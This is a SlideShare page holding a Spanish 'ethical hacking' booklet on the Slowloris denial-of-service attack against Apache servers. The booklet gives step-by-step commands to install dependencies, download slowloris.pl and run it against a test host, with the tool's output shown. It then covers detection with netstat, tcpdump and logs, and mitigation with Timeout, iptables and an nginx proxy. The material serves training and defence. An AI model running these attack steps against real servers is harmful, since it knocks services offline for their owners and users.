SlideShare una empresa de Scribd logo
1 de 11
Descargar para leer sin conexión
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 1
Libro de Et
Contacto: whitehat.mexico@gmail.com
Edición
Descubre como es el
LSCA, Carlos Alberto Castruita Rodríguez
Edición impresa en PDF protegida contra impresión y sobre escritura.
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
@gmail.com
Edición patrocinada por WhiteHat México
el Arte del Hacking de una visión de un White Hat.
Por
Carlos Alberto Castruita Rodríguez
Edición Independiente © 2015
impresa en PDF protegida contra impresión y sobre escritura.
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
al Hacking para entrenamiento sobre ataques informáticos.
Página 2
Arte del Hacking de una visión de un White Hat.
Carlos Alberto Castruita Rodríguez
impresa en PDF protegida contra impresión y sobre escritura.
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 3
Descubre desde cero como es Arte del Hacking de una visión de un White Hat.
El libro de PENTESTING y de SEGURIDAD INFORMATICA está diseñado para hacer pruebas de
vulnerabilidad de seguridad informática, robo de información y espionaje de datos, narrado a un
nivel técnico para gentes con conocimiento de nivel básico a medio del área de informática o
soporte técnico en sistemas.
Autor: Carlos Alberto Castruita Rodríguez
Director de WhiteHat - México
Con 20 años de experiencia en el área sistemas.
Certificado Hellermann Tyton
Certificado 3com Networks
Ethical Hacker Certificado
Contacto: carlos.castruita@whitehatmexico.tk
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 4
ATAQUE A SERVIDORES WEB
SLOWLORIS
Ataque de denegación de servicio para
Apache 1.x y 2.x
Se trata de un cliente HTTP capaz de provocar una denegación de servicio (DoS) a
servidores web con poco uso de ancho de banda.
Dicho cliente HTTP intenta abrir tantas conexiones como pueda al servidor web e intenta
mantenerlas abiertas tanto tiempo como sea posible. Periódicamente para evitar que el
servidor web cierre la conexión va añadiendo headers a la petición HTTP sin llegar a
finalizarla nunca.
Esto provoca que en determinados servidores web se vayan quedando las conexiones
abiertas hasta llegar al máximo, bloqueando las peticiones legítimas.
Entre los servidores web afectados se encuentra tanto Apache 1.x como Apache 2.x.
Vamos a ver cómo funciona el ataque, como detectarlo y como mitigar el riesgo.
Para usar slowloris necesitaremos los siguientes módulos de Perl:
perl -MCPAN -e 'install GetOpt::Long'
perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 5
A continuación lo bajamos:
wget http://ha.ckers.org/slowloris/slowloris.pl
Procedemos a ejecutarlo en un host de prueba, como puede ser una máquina virtual:
# perl slowloris.pl -dns 10.10.10.126
CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
. . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
. .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
. . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 6
Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to 10.10.10.126:80 every 100 seconds with 1000 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Veremos como en seguida queda bloqueado el site, ya que todas las peticiones las coge y
retiene el slowloris. Mediante un netstat podremos verlo:
# netstat -tpan
(...)
tcp 232 0 10.10.10.126:80 88.11.210.64:48074 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48180 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48183 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48189 ESTABLISHED -
tcp 232 0 10.10.10.126:80 88.11.10.64:48190 ESTABLISHED -
(...)
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 7
Si dejamos un tcpdump:
# tcpdump -nni bond0 -s 0 -w /tmp/slowloris.pcap 'port 80'
Podremos ver la petición que realiza:
GET / HTTP/1.1
Host: 10.10.10.126
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR
1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)
Content-Length: 42
Para finalizar la petición debería dejar una linea en blanco,por lo que sería envío de los
siguientes carácteres: “nrnr“. Pero, en el caso de slowloris, lo deja con “nr” y al
cabo de un tiempo vuelve introduce un header sin sentido para mantener la petición viva:
X-a: b
Volviendo a dejar la petición sin la linea en blanco, por lo que se mantiene y volviendo a
esperar para introducir lo mismo una y otra vez.
Al no finalizar la petición no encontraremos nada en los logs de apache, ni en el de error
ni en el de acceso, ya que toda petición hasta que no finaliza no se escribe en el log.
En el momento que apaguemos el apache o bien termine el ataque veremos en ellog de
error lineas similares a la siguiente:
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 8
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
[Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
[Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the
headers
Si dejamos un curl corriendo en un while true y finalizamos el ataque con un Control-
C veremos como el apache tarda unos segundos a recuperse:
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:40:38 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m0.071s
user 0m0.000s
sys 0m0.004s
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:30 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m51.483s
user 0m0.000s
sys 0m0.004s
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:53 GMT
Server: Apache
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 9
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m21.086s
user 0m0.000s
sys 0m0.004s
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:54 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
real 0m0.088s
user 0m0.000s
sys 0m0.000s
Se comenta que se puede reducir el impacto del ataque modificando la variable Timeout,
que por defecto esta muy alto:
Timeout 600
Esta parámetro afecta por separado (el mismo timeout para los tres, no es como total) a
los siguientes tiempos para la recepción de la petición:
• Tiempo que tarda en recibir una petición GET
• Tiempo entre la recepción de paquetes TCP en las peticiones POST y PUT
• Tiempo entre ACKs en las respuestas de la petición
Si dejamos el valor demasiado bajo estaremos finalizando legitimas, pero aún con un valor
más que justo, el problema del Slowloris seguiremos teniéndolo. Tal como se comenta en
la lista devel del apache el problema es de fondo:
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 10
Mitagation is the wrong approach.
We all know our architecture is wrong.
We have started on fixing it, but we need to finish the async input
rewrite on trunk, but all of the people who have hacked on it, myself
included have hit ENOTIME for the last several years.
Hopefully the publicity this has generated will get renewed interest
in solving this problem the right way, once and for all
It doesn’t need to be the simple mpm, or the event mpm, its not even
about MPMs, its about how the whole input filter stack works.
So.. i write yet another email about it… and disappear in the ether
of ENOTIME once again…..
Podríamos limitar el número de conexiones con iptables:
iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j DROP
Pero con esto tendríamos dos problemas:
1. Estaríamos bloqueando el acceso a clientes detrás de un proxy
2. El ataque seguiría siendo posible empleando más IPs pero menos conexiones por IP,
por ejemplo, desde una botnet.
Además, los sistemas IDS/IDP basados en firmas no resultan muy efectivos en este caso,
ya que las peticiones son perfectamente validas. Como mucho se podrían fijar en
el UserAgent, pero es muy fácilmente modificable.
Para el caso de lighttpd en modo proxy el apache se bloquea igual, por lo que seguimos
teniendo una denegación de servicio. Es de justicia destacar que lighttpd no está afectado
EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING
Libro de Ethical Hacking para entrenamiento sobre ataques informáticos.
Contacto: whitehat.mexico@gmail.com Página 11
por Slowloris, simplemente es esta configuración en concreto en la que hay
una denegación de servicio porque el backend es vulnerable.
Por el contrario, si configuramos nginx en modo proxy este evita la denegación de servicio
al apache. Deberemos tener en cuenta que si tenemos el Apache con VirtualHosts
deberemos añadir headers adicionales entre el nginx y el Apache.

Más contenido relacionado

La actualidad más candente (16)

haker Spoofing
haker Spoofinghaker Spoofing
haker Spoofing
 
Hakers
HakersHakers
Hakers
 
Curso de hacking avanzado
Curso de hacking avanzadoCurso de hacking avanzado
Curso de hacking avanzado
 
Comoconvertirseenhacker encrudo
Comoconvertirseenhacker encrudoComoconvertirseenhacker encrudo
Comoconvertirseenhacker encrudo
 
Hackeo
HackeoHackeo
Hackeo
 
002
002002
002
 
PRESENTACION DOS
PRESENTACION DOSPRESENTACION DOS
PRESENTACION DOS
 
Proyecto 002 de 20111
Proyecto 002 de 20111Proyecto 002 de 20111
Proyecto 002 de 20111
 
Deep web luis elian vallejo 10 b
Deep web luis elian vallejo  10 bDeep web luis elian vallejo  10 b
Deep web luis elian vallejo 10 b
 
Reporte de Seguridad
Reporte de SeguridadReporte de Seguridad
Reporte de Seguridad
 
Autenticacion Doble Factor
Autenticacion Doble FactorAutenticacion Doble Factor
Autenticacion Doble Factor
 
Hackeando Twitter
Hackeando TwitterHackeando Twitter
Hackeando Twitter
 
Google hacking para pentesters
Google hacking para pentestersGoogle hacking para pentesters
Google hacking para pentesters
 
hackers informaticos
hackers informaticoshackers informaticos
hackers informaticos
 
Internet de las cosas
Internet de las cosasInternet de las cosas
Internet de las cosas
 
Seguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativosSeguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativos
 

Destacado

Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016
Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016
Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016
Rodrigo Orenday Serratos
 
Seguridad, informatica(robo de identidad, amenazas de virus)
Seguridad, informatica(robo de identidad, amenazas de virus)Seguridad, informatica(robo de identidad, amenazas de virus)
Seguridad, informatica(robo de identidad, amenazas de virus)
Norma Flores
 
Delitos informaticos
Delitos informaticosDelitos informaticos
Delitos informaticos
Juan Dii
 
RIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACION
RIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACIONRIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACION
RIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACION
Cristian Calvo
 
Delitos informaticos
Delitos informaticosDelitos informaticos
Delitos informaticos
rociohidalgor
 
Expo delitos informaticos
Expo delitos informaticosExpo delitos informaticos
Expo delitos informaticos
Darianny Paez
 

Destacado (20)

Seguridad informática mafe
Seguridad informática mafeSeguridad informática mafe
Seguridad informática mafe
 
Informatica
InformaticaInformatica
Informatica
 
Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016
Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016
Presentacion ROS Delitos v ID CIDE PGR SRE DF 2016
 
Seguridad informatica jolaine gomes y vaneiris cervantes
Seguridad informatica jolaine gomes y vaneiris cervantesSeguridad informatica jolaine gomes y vaneiris cervantes
Seguridad informatica jolaine gomes y vaneiris cervantes
 
Seguridad de la informacion mitos y tecnologias
Seguridad de la informacion mitos y tecnologiasSeguridad de la informacion mitos y tecnologias
Seguridad de la informacion mitos y tecnologias
 
Seguridad, informatica(robo de identidad, amenazas de virus)
Seguridad, informatica(robo de identidad, amenazas de virus)Seguridad, informatica(robo de identidad, amenazas de virus)
Seguridad, informatica(robo de identidad, amenazas de virus)
 
El Delito Informatico
El Delito InformaticoEl Delito Informatico
El Delito Informatico
 
De las sanciones y politicas de reinsercion a los adolecentes que trasgreden ...
De las sanciones y politicas de reinsercion a los adolecentes que trasgreden ...De las sanciones y politicas de reinsercion a los adolecentes que trasgreden ...
De las sanciones y politicas de reinsercion a los adolecentes que trasgreden ...
 
Delitos informaticos
Delitos informaticosDelitos informaticos
Delitos informaticos
 
Acceso ilícito a sistemas informáticos megor
Acceso ilícito a sistemas informáticos megorAcceso ilícito a sistemas informáticos megor
Acceso ilícito a sistemas informáticos megor
 
Mal uso De La Informatica
Mal uso De La InformaticaMal uso De La Informatica
Mal uso De La Informatica
 
Delitos Informaticos
Delitos InformaticosDelitos Informaticos
Delitos Informaticos
 
RIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACION
RIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACIONRIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACION
RIESGOS BAJO LOS CUALES SE ENCUENTRAN LOS SISTEMAS DE INFORMACION
 
Seguridad de la información - Virus
Seguridad de la información - VirusSeguridad de la información - Virus
Seguridad de la información - Virus
 
Delitos informáticos
Delitos informáticos  Delitos informáticos
Delitos informáticos
 
Robo de identidad
Robo de identidadRobo de identidad
Robo de identidad
 
Delitos informaticos
Delitos informaticosDelitos informaticos
Delitos informaticos
 
Expo delitos informaticos
Expo delitos informaticosExpo delitos informaticos
Expo delitos informaticos
 
Delitos informaticos
Delitos informaticosDelitos informaticos
Delitos informaticos
 
Los riesgos y amenazas de la información
Los riesgos y amenazas de la informaciónLos riesgos y amenazas de la información
Los riesgos y amenazas de la información
 

Similar a Manual de pentesting_sobre_ataque_a_servidores_apache_1.x_2.x_con_linux_y_perl_slowloris

Art hack web-v1-4
Art hack web-v1-4Art hack web-v1-4
Art hack web-v1-4
esmartcrimt
 
Hackers Black Book Español
Hackers Black Book EspañolHackers Black Book Español
Hackers Black Book Español
degarden
 
Hackin9 - Ataques de tipo HTML injection
Hackin9 - Ataques de tipo HTML injectionHackin9 - Ataques de tipo HTML injection
Hackin9 - Ataques de tipo HTML injection
degarden
 

Similar a Manual de pentesting_sobre_ataque_a_servidores_apache_1.x_2.x_con_linux_y_perl_slowloris (20)

Art hack web-v1-4
Art hack web-v1-4Art hack web-v1-4
Art hack web-v1-4
 
Manual de pentesting_sobre_ataque_a_encirptado_wep_con_backtrack_5
Manual de pentesting_sobre_ataque_a_encirptado_wep_con_backtrack_5Manual de pentesting_sobre_ataque_a_encirptado_wep_con_backtrack_5
Manual de pentesting_sobre_ataque_a_encirptado_wep_con_backtrack_5
 
Hx c28
Hx c28Hx c28
Hx c28
 
Webinar Gratuito: Deep Web
Webinar Gratuito: Deep WebWebinar Gratuito: Deep Web
Webinar Gratuito: Deep Web
 
Webinar Gratuito: Análisis Forense a Apache
Webinar Gratuito: Análisis Forense a ApacheWebinar Gratuito: Análisis Forense a Apache
Webinar Gratuito: Análisis Forense a Apache
 
Xss a fondo
Xss a fondoXss a fondo
Xss a fondo
 
Xss con javascript
Xss con javascriptXss con javascript
Xss con javascript
 
Webinar Gratuito: Ncat para Pentesting
Webinar Gratuito: Ncat para PentestingWebinar Gratuito: Ncat para Pentesting
Webinar Gratuito: Ncat para Pentesting
 
Hackers Black Book Español
Hackers Black Book EspañolHackers Black Book Español
Hackers Black Book Español
 
Webinar Gratuito: Atacar Contraseñas con Kali Linux
Webinar Gratuito: Atacar Contraseñas con Kali LinuxWebinar Gratuito: Atacar Contraseñas con Kali Linux
Webinar Gratuito: Atacar Contraseñas con Kali Linux
 
Webinar Gratuito: "Romper Contraseñas con Tablas Arco Iris"
Webinar Gratuito: "Romper Contraseñas con Tablas Arco Iris"Webinar Gratuito: "Romper Contraseñas con Tablas Arco Iris"
Webinar Gratuito: "Romper Contraseñas con Tablas Arco Iris"
 
Webinar Gratuito: Inyección de Comandos
Webinar Gratuito: Inyección de ComandosWebinar Gratuito: Inyección de Comandos
Webinar Gratuito: Inyección de Comandos
 
Webinar Gratuito: "Nikto para Pentesting"
Webinar Gratuito: "Nikto para Pentesting"Webinar Gratuito: "Nikto para Pentesting"
Webinar Gratuito: "Nikto para Pentesting"
 
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
 
Proyecto 6
Proyecto 6Proyecto 6
Proyecto 6
 
Hackin9 - Ataques de tipo HTML injection
Hackin9 - Ataques de tipo HTML injectionHackin9 - Ataques de tipo HTML injection
Hackin9 - Ataques de tipo HTML injection
 
Web App Hacking and Penetration Testing - (RFI - LFI & RCE)
Web App Hacking and Penetration Testing - (RFI - LFI & RCE) Web App Hacking and Penetration Testing - (RFI - LFI & RCE)
Web App Hacking and Penetration Testing - (RFI - LFI & RCE)
 
Hx c20
Hx c20Hx c20
Hx c20
 
RESUMEN PROXY
RESUMEN PROXYRESUMEN PROXY
RESUMEN PROXY
 
servidor proxy
servidor proxyservidor proxy
servidor proxy
 

Manual de pentesting_sobre_ataque_a_servidores_apache_1.x_2.x_con_linux_y_perl_slowloris

  • 1. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 1
  • 2. Libro de Et Contacto: whitehat.mexico@gmail.com Edición Descubre como es el LSCA, Carlos Alberto Castruita Rodríguez Edición impresa en PDF protegida contra impresión y sobre escritura. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. @gmail.com Edición patrocinada por WhiteHat México el Arte del Hacking de una visión de un White Hat. Por Carlos Alberto Castruita Rodríguez Edición Independiente © 2015 impresa en PDF protegida contra impresión y sobre escritura. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING al Hacking para entrenamiento sobre ataques informáticos. Página 2 Arte del Hacking de una visión de un White Hat. Carlos Alberto Castruita Rodríguez impresa en PDF protegida contra impresión y sobre escritura.
  • 3. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 3 Descubre desde cero como es Arte del Hacking de una visión de un White Hat. El libro de PENTESTING y de SEGURIDAD INFORMATICA está diseñado para hacer pruebas de vulnerabilidad de seguridad informática, robo de información y espionaje de datos, narrado a un nivel técnico para gentes con conocimiento de nivel básico a medio del área de informática o soporte técnico en sistemas. Autor: Carlos Alberto Castruita Rodríguez Director de WhiteHat - México Con 20 años de experiencia en el área sistemas. Certificado Hellermann Tyton Certificado 3com Networks Ethical Hacker Certificado Contacto: carlos.castruita@whitehatmexico.tk
  • 4. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 4 ATAQUE A SERVIDORES WEB SLOWLORIS Ataque de denegación de servicio para Apache 1.x y 2.x Se trata de un cliente HTTP capaz de provocar una denegación de servicio (DoS) a servidores web con poco uso de ancho de banda. Dicho cliente HTTP intenta abrir tantas conexiones como pueda al servidor web e intenta mantenerlas abiertas tanto tiempo como sea posible. Periódicamente para evitar que el servidor web cierre la conexión va añadiendo headers a la petición HTTP sin llegar a finalizarla nunca. Esto provoca que en determinados servidores web se vayan quedando las conexiones abiertas hasta llegar al máximo, bloqueando las peticiones legítimas. Entre los servidores web afectados se encuentra tanto Apache 1.x como Apache 2.x. Vamos a ver cómo funciona el ataque, como detectarlo y como mitigar el riesgo. Para usar slowloris necesitaremos los siguientes módulos de Perl: perl -MCPAN -e 'install GetOpt::Long' perl -MCPAN -e 'install IO::Socket::INET' perl -MCPAN -e 'install IO::Socket::SSL'
  • 5. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 5 A continuación lo bajamos: wget http://ha.ckers.org/slowloris/slowloris.pl Procedemos a ejecutarlo en un host de prueba, como puede ser una máquina virtual: # perl slowloris.pl -dns 10.10.10.126 CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc::: CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc:: CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc:::: CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888@8@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  • 6. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 6 Defaulting to port 80. Defaulting to a 5 second tcp connection timeout. Defaulting to a 100 second re-try timeout. Defaulting to 1000 connections. Multithreading enabled. Connecting to 10.10.10.126:80 every 100 seconds with 1000 sockets: Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Building sockets. Veremos como en seguida queda bloqueado el site, ya que todas las peticiones las coge y retiene el slowloris. Mediante un netstat podremos verlo: # netstat -tpan (...) tcp 232 0 10.10.10.126:80 88.11.210.64:48074 ESTABLISHED - tcp 232 0 10.10.10.126:80 88.11.10.64:48180 ESTABLISHED - tcp 232 0 10.10.10.126:80 88.11.10.64:48183 ESTABLISHED - tcp 232 0 10.10.10.126:80 88.11.10.64:48189 ESTABLISHED - tcp 232 0 10.10.10.126:80 88.11.10.64:48190 ESTABLISHED - (...)
